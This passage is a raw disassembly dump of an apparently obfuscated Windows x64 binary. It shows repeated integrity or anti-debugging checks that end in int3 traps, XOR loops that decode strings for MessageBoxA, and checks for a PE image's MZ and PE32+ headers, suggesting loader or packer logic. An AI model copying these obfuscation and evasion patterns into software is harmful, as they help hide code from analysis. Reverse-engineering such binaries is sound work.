je 0x140023d6b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023d6b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023d8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140031088
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400b9040
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023e69
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x2e0a2f32
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023e49
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023e49
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023e69
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023f13
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023ef3
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023ef3
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023f13
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140031784
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140023fde
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x2e0a2f32
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023fbe
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023fbe
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023fde
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140024088
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024068
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024068
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024088
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x1400240b5
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x1400241d7
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x140024146
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x140024128
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r13d, 0x4a79d2f6
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140024281
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024261
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024261
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024281
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
mov esi, 0x2e0a2f32
mov r15d, 0x1e0be331
cmp rax, r12
jne 0x140024344
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024324
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024324
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024344
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400243ee
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400243ce
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400243ce
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400243ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x1400247e2
cmp rax, r12
jne 0x1400244b0
mov rax, qword gs:[0x21]
movabs rcx, 0xcd279c6c79f9294c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024490
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024490
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400244b0
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xe0
mov r10, r14
movabs rbx, 0x11d01f4a6
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x11d01f4a5
shr rdi, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400244fa
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1400eaa40]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400eaa10]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400eaa90]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x86812cd8
mov dword [rbp + 0xc8c], 0xafdf9080
mov dword [rbp + 0xc90], 0xb5ba5648
mov word [rbp + 0xc94], Ordinal_200
mov r9, r14
movabs r8, 0x43e9774b8e
mov r10d, 0x3d
movabs r11, 0x87d2ee971c
mov r12d, 0x6875f121
movabs r13, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
movabs rdi, 0x11d01f4a5
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0xc58]
xor dil, r9b
mov byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x1400245e9
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x44]
cmp rcx, r12
mov r13d, 0x4a79d2f6
jne 0x140024734
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024714
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024714
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024734
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140030253
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400247c2
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400247c2
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030253
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
cmp rax, r12
jne 0x140024883
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024863
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024863
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024883
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x44]
movabs rbx, 0xcd279c6c79f9294c
cmp rax, r12
jne 0x140024945
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024925
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024925
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024945
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x140024d21
cmp rax, r12
jne 0x1400249ff
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400249df
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400249df
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400249ff
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xe0
mov r10, r14
movabs rbx, 0x11d01f4a6
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x11d01f4a5
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140024a49
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1400eaa40]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400eaa00]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400eaa90]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x86812cd8
mov dword [rbp + 0xccc], 0xafdf9080
mov dword [rbp + 0xcd0], 0xb5ba5648
mov word [rbp + 0xcd4], Ordinal_200
mov r9, r14
movabs r8, 0x43e9774b8e
mov r10d, 0x3d
movabs r11, 0x87d2ee971c
movabs r12, 0x11d01f4a5
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140024b32
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x44]
mov r12d, 0x6875f121
cmp rax, r12
jne 0x140024c6e
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024c4e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024c4e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024c6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140030253
mov rax, qword gs:[0x21]
mov esi, 0x4a79d2f6
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024d01
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024d01
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030253
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
cmp rax, r12
jne 0x140024dd1
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024db1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024db1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024dd1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400ea810]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xb51e8055
mov dword [rbp + 0x98c], 0x1b21d962
mov dword [rbp + 0x990], 0xbbc08e4b
mov word [rbp + 0x994], 0xf642
mov byte [rbp + 0x996], al
mov r8, r14
movabs rsi, 0x11d01f4a5
movabs r9, 0x21663aab74
lea r10d, [rax + 0x1e]
movabs r12, 0x11d01f4a6
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x42cc7556e8
cmp r9, rax
jb 0x140024e46
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400ea780]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400ea730]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs r9, 0x22833ca01a
mov r10d, Ordinal_33
movabs r15, 0x4506794034
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r15
jb 0x140024eff
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140030260
mov rax, qword gs:[0x44]
mov esi, 0x6875f121
mov r15d, 0x4a79d2f6
cmp rax, rsi
jne 0x140025071
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025051
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025051
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025071
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
mov edi, 0x2e0a2f32
cmp rax, rsi
jne 0x140025130
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025110
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025110
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025130
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
xor ecx, ecx
call fcn.14009acb4
mov rcx, rax
call fcn.140096594
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x1400251e9
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400251c9
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400251c9
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400251e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025293
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025273
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025273
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025293
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x14002533d
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002531d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002531d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002533d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x1400253e7
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400253c7
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400253c7
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400253e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x140025491
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025471
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025471
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025491
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rsi
jne 0x14002554c
